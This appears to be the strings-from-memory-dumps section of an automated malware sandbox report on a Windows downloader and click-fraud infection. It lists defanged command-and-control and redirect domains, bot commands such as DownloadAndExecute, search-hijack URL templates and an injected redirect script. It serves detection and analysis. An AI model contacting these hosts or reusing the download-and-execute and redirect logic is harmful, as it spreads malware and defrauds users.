@*\AS:\Worker\tempvbp\AutoDownload.vbp

dick.exe

tenn2.exe_1076_rwx_05F40000_00010000:

U8VSSh

rundll32.exe_636_rwx_00970000_00010000:

U8VSSh

rundll32.exe_636_rwx_10000000_00001000:

.text

`.data

.reloc

willwnd.exe_476:

.text

`.data

.rsrc

MSVBVM60.DLL

%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB

user32.dll

VBA6.DLL

@*\AC:\Users\Sean\Desktop\stbnes\willwind\Project1.vbp

killwnd.exe

Gi.exe_188_rwx_00401000_00057000:

udpsocket

AutoDownload.Socket

WebBrowser1

SHDocVwCtl.WebBrowser

vb6chs.dll

shdocvw.dll

WebBrowser

VBA6.DLL

InternetOpenUrlA

wininet.dll

HttpQueryInfoA

%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB

%System%\shdocvw.oca

oudpsocket

advapi32.dll

RegCreateKeyA

RegCloseKey

RegOpenKeyA

shell32.dll

udpstop

ws2_32.dll

%System%\msvbvm60.dll\3

RemotePort

LocalPort

netapi32.dll

GetProcessHeap

SAFE_zQuZurLIyBzlabGZV6J67mp4vZAE92eS

SAFE_xYSsheV2XTHEjnoMQnsB5YaROhI86Qj8

Returns/Sets the port to be connected to on the remote computer

lngPort

Returns/Sets the port used on the local computer

Binds socket to specific port and adapter

Occurs after a send operation has completed

.text

`.data

.rsrc

wsS2%S-eu$S2%ro@

K.WAR

BlS2%Sizz%S2%arS2

orS2u`d/ o%S2%f 2%S2WarS2%Scra$S2%ftQ

dJol%S2

Cd 2%S2of S2%SWar%S2%cr2%S2aftj

2%S2w.eF2%Sxe

*\AS:\Worker\tempvbp\AutoDownload.vbp

USER32.DLL

KERNEL32.DLL

ADVAPI32.DLL

WININET.DLL

RegOpenKeyExA

@*\AS:\Worker\tempvbp\AutoDownload.vbp

willwnd.exe_476_rwx_00E60000_00010000:

U8VSSh

stb1.exe_1840:

.text

`.data

.rsrc

MSVBVM60.DLL

Project1.UserControl1

SHDocVwCtl.WebBrowser

StrUrl

ieframe.dll

WebBrowser

%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB

C:\Windows\System32\ieframe.oca

user32.dll

EnumWindows

shell32.dll

ShellExecuteA

VBA6.DLL

EnumChildWindows

WinHttp

.HTTPDownload

.C:\Windows\system32\winhttp.dll

C:\Windows\system32\mshtml.tlb

*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp

\xt.exe

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

@*\AC:\Users\Sean\Desktop\stbnes\Project1.vbp

1.00.0011

stb1.exe

stb1.exe_1840_rwx_033C0000_00010000:

U8VSSh

ntvdm.exe_1112:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

ADVAPI32.dll

GDI32.dll

USER32.dll

SoftPC

mscoree.dll

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c

d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio411.sys

\ntio412.sys

\ntio804.sys

\ntio.sys

VJOY.DLL

%s %lxh

d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c

d:\xpsp\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT1

FONT.NT

\ega.cpi

d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\?:

d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 286 3.0

\_default.pif

d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeName

VrWriteNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutLongMsg

WINMM.DLL

d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

Check Keyboard Status

\ntdos404.sys

\ntdos411.sys

\ntdos412.sys

\ntdos804.sys

\ntdos.sys

demDosDispCall %s

config.nt

PIPE

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

KEYB

\KEYBOARD.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY01.SYS

\KEYAX.SYS

%s,%d,%s

\KB16.COM

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Broken pipe

Inappropriate I/O control operation

Operation not permitted

ega.rom

vga.rom

v7vga.rom

bios4.rom

bios1.rom

profile.spc

.spcprofile

d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

ntvdm.pdb

Ut.Ht$Ht

ItKIt9It.IIt

tK

HHt7Ht.Ht

YYt%F

SSSSSh

s*f;O%s$

V

t.HtHHt(Ht

GetCPInfo

NtEnumerateValueKey

NtOpenKey

ntdll.dll

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExA

GetConsoleOutputCP

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleKeyShortcuts

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

EnumWindows

GetKeyState

VkKeyScanW

MapVirtualKeyA

GetKeyboardType

NtQueryValueKey

GetProcessHeap

ntvdm.exe

SoftPcEoi

cmdCheckTemp

cmdCheckTempInit

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

!"#$%&'(

SoftPC-AT Version 3

89:;?

autoexec.nt

00030

30333

?0?3???

!"#$%&'()

Userenv.dll

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

%SystemRoot%

\System32\command.com

%System%\ntvdm.exe

\\.\B:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%

NTVDM.EXE

5.1.2600.5512 (xpsp.080413-2111)

Windows

Operating System

5.1.2600.5512

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate

ntvdm.exe_1112_rwx_00000000_00010000:

C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE

XT EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scs12.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

var ca = document.cookie.split(';');

for(var i=0; i

while (c.charAt(0)==' ') c = c.substring(1);

if (c.indexOf(name) == 0) return c.substring(name.length, c.length);

document.cookie = 'jccheck=1';

var rurl = 'hXXp://tzpzc.com/trf?&o=0zale1OyxwReX+DsASyd7seoir0WeLsOCJ08ecQtUnOnFmse6FvzEkIWtA4gdJbeGiDYXasOOEcYtS9q250IBLpm9r5yWjv7BGvVMkoZ5QFR8bII5bl4mTN5VabSQDJEe1hNQKtFr+YMjr50MnCqXhefl0GHj2Gg8dW9h9CL3pe2qfrEXM5Hg2JUdYYrb496Ry1CK6XJZZKkeVpaUCYhSIgBrxpOgWhciEthJJ/nGzwS9AcYK3gT0Vw6Alrtj3X0+4G849hG1ocvXxhE3mYB8NudhDblJxQ2fszsTM+Ji/2IMuyYZbPAM3QlKZZNqFZhDrhVwSCt+oB+xWll95XJZp1t0YuAIPyc0E0T/O0EgpzUJYGLQSybOJW5K1jrlNso&c=21112204048400131698297&n=WS8heeJNQz3Q7ooJ6iuoCRVx94+GjX8HVWVUDsw7OISdMtrS4hdPWlHvtCziaQbyA7qnU/J18C6iSPxOXNF6kxTvd8ACl19FW1CJdhlQFZZxRSozAwYtUaGLWOrHJFU4FHAJcZd0xlUraGmBliJrn6acKkPhQCAZgFlJQHWPQwPB1urSlz2z42prJtwmFpsagRXVCPZNFyZpcCrDGh1AnMJrlLx4gVT7Cwo8iLHJ36i0oN3YsM+rwvPrSoQducgjCH9TAz6yo7dfwTHqnhBtIX/di84r0L6L/9M78gkLYGPlLKbTG34f6OGErum8MdPEa8qNcpnFh/IqDkwDhEWGT6xecnd2H+FToislZ5EKB/6pFnmbfQ+LmjRn+wb8kHBOaw2w7NMBUw2V32gc/Me7F2lwOiRyjLuGENQhWnnTZFR6AuqNpMmViIM2J9TxfU/2&kgp=0';

rurl = '&jccheck=' getCookie('jccheck');

window.top.location.replace(rurl);

document.write("This page has moved, Click here to go there.");

}

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

ntvdm.exe_1112_rwx_00010000_00090000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\TEMP\scs12.tmp

89:;?

0WINDOWS MS-DOS STARTUP FILE

0CONFIG.SYS VS CONFIG.NT

0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.

0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A

0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD

0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.

0NTCMDPROMPT

0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE

0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,

0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR

0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED

0CONFIG.NT OR OTHER STARTUP FILE.

0WANT THE SYSTEM TO SUPPORT. 1

0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT

0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

D%WinDir%\SYSTEM32\HIMEM.SYS

Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

S%WinDir%\SYSTEM32\COMMAND.COM

/P %WinDir%\SYSTEM32

ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS

COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32

%WinDir%\SYSTEM32\COUNTRY.SYS

[]| =;"

%WinDir%\TEMP\scs11.tmp

%WinDir%\SYSTEM32\COMMAND.COM

NTCMDPROMPTT

Unrecognized command in CONFIG.SYS

Insufficient memory for COUNTRY.SYS file

Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

/)()(00)(

/@%}-{.Nb#b

!Press any key to continue . . .

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32\DOSX

NT.EXE

C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE

nt.exe

DOSX.EXE

ntvdm.exe_1112_rwx_000A0000_00020000:

66666666

6666666

6666666666666666

6666666676666666

6666667076666666

ntvdm.exe_1112_rwx_000C9000_00013000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

%System%\DOSX.EXE

%System%\mscdexnt.exe

VCDEX.DLL

%System%\redir

(load before dosx.exe)

C:\LANMAN.DOS

%System%\dosx

%System%\krnl386.exe

krnl386.exe

SYSTEM.INI

ntvdm.exe_1112_rwx_000E8000_00008000:

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

ntvdm.exe_1112_rwx_00100000_00010000:

C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE

XT EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scs12.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

}

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

Explorer.EXE_532_rwx_00EF0000_00001000:

.text

`.data

.reloc

Explorer.EXE_532_rwx_00FF0000_00009000:

.exeu]

%szptfzubjhp.php?adv=adv468&code1=%s&code2=%s&id=%d&p=%s&b=%s

Chrome

Firefox

Opera

%swtlj.exe

%ssjnlgn.php?adv=adv468

%stmvspdwr.exe

%styfnhc.php?adv=adv468

%sifdla.exe

%sxbvqxsa.php?adv=adv468

%syset.exe

%sxavdxsz.php?adv=adv468

%sldnhp.exe

%shyfaitavt.php?adv=adv468

%sbekyd.exe

%sqhlkrzhf.php?adv=adv468

%sbxxlpcxo.exe

%skbwdyfeyta.php?adv=adv468

%shywgxge.exe

%smmaucwe.php?adv=adv468

%sokyqih.exe

%scptrlg.php?adv=adv468

%snyjq.exe

%sizgowq.php?adv=adv468

%saydvhkl.exe

%siztbjhowu.php?adv=adv468

%sultamgbih.php?adv=adv468

hXXp://bbpolis.com/timuo/

hXXp://abretor.com/timuo/

psapi.dll

ddraw.dll

urlmon.dll

shell32.dll

kernel32.dll

user32.dll

wininet.dll

ntdll.dll

\svchost.exe

explorer.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\E4U.exe

ShellExecuteExA

InternetOpenUrlA

HttpQueryInfoA

.text

`.rdata

@.data

.reloc

%szptfzubjhp.p

ChromeFirefox

httpo%u

fnhcifdla$%sxbvk

polis.Qm/timuo/

`.rd!!

KERNEL32.DLL

ADVAPI32.dll

DDRAW.dll

PSAPI.DLL

SHELL32.dll

SHLWAPI.dll

USER32.dll

WININET.dll

Explorer.EXE_532_rwx_01E00000_00013000:

HTTP/1.1

Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

\user32.dll

kb.dll

\updhlp.dat

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

19792079

[%subid]

[%key]

google.com/

**http://

search.yahoo.com

bing.com

.info/message.php

\temp.ini

\admin.txt

.aspx

iexplore.exe

&HTTP_REFERER=

\server.dat

\Windows

\winhelp.exe

yschttl spt" href="hXXp://

yschttl spt" href="hXXp://

sb_tlst">

sb_tlst">

19091979

19091979

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 200 OK

HTTP/1.1 200 OK

keyword

hXXp://

HTTP/1.

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

ntdll.dll

kernel32.dll

user32.dll

ws2_32.dll

advapi32.dll

shell32.dll

Wininet.dll

version.dll

ole32.dll

Dnsapi.dll

hXXp://google.ru/s.php?dd=giuy

c:\feed1.txt

:VVV.u

google.com

\windows\

sfc_os.dll

wininit.exe

winlogon.exe

dllcache\winlogon.exe

explorer.exe

dllcache\explorer.exe

z.exe

.datj

5xplorer.exe

opera.exe

firefox.exe

chrome.exe

8.texu5

cryptbase.dll

sysprep.exe

8.datu

9(999(((

((''((((999

998;:=>10325476)( *-,/.! #"%$'&

9'999â„¢95999?999

M%S9S9S9Q&969i

.text

`.rdata

@.data

.reloc

dll.dll

%System%\dll

fchrome.exe

lkb.dll

mgoogle.com

\cryptbase.dll

Explorer.EXE_532_rwx_023D0000_00010000:

U8VSSh

svchost.exe_1084_rwx_01050000_00012000:

t.FE;l$

winmm.dll

ole32.dll

maxhttpredirects

software\microsoft\windows\currentversion\internet settings

enablehttp1_1

software\microsoft\windows\currentversion\internet settings\zones\3

%s\%s

hXXp://%s/?xurl=%s&xref=%s

clk=%s&bid=%s&aid=%s&sid=%s&rd=%s

atl.dll

oleaut32.dll

n%D,3

Global\3006345f-6baf-4669-a7e1-aaa310564be9

kdmf.tmp

%d|%d|%s|%s

Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)

DownloadAndExecute

DownloadCryptedAndExecute

DownloadCryptedAndExecute2

%[^.].%[^(](%[^)])

command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s

setup.exe

google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com

HTTP/1.1 302 Found

Location: %s

HTTP/1.1 200 OK

Content-Length: %d

hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/

hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/

hXXp://cri71ki813ck.com/

hXXp://lkckclckl1i1i.com/

cfg.ini

urlmon.dll

bckfg.tmp

svchost.exe

Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08

*firefox*

*chrome*

*opera*

Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7

Global\cc51461b-e32a-4883-8e97-e0706dc65415

keywords

Accept-Language: %s

%s hXXp://%s/?xurl=%s&xref=%s

%s %s

1.6|%s|%s|%s|%s|%s|%s

0123456789

software\classes\http\shell\open\command

firefox

:"/\|?*

%s-%s

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps

yschttl spt" href="hXXp:// yschttl spt" href="hXXp:// sb_tlst"> sb_tlst"> 19091979 19091979 HTTP/1.1 302 Moved Temporarily HTTP/1.1 302 Moved Temporarily HTTP/1.1 200 OK HTTP/1.1 200 OK

sb_tlst">

19091979 19091979 HTTP/1.1 302 Moved Temporarily HTTP/1.1 302 Moved Temporarily HTTP/1.1 200 OK HTTP/1.1 200 OK

yschttl spt" href="hXXp://

yschttl spt" href="hXXp://

sb_tlst">

sb_tlst">

19091979

19091979

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 200 OK

HTTP/1.1 200 OK

19091979

19091979

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 200 OK

HTTP/1.1 200 OK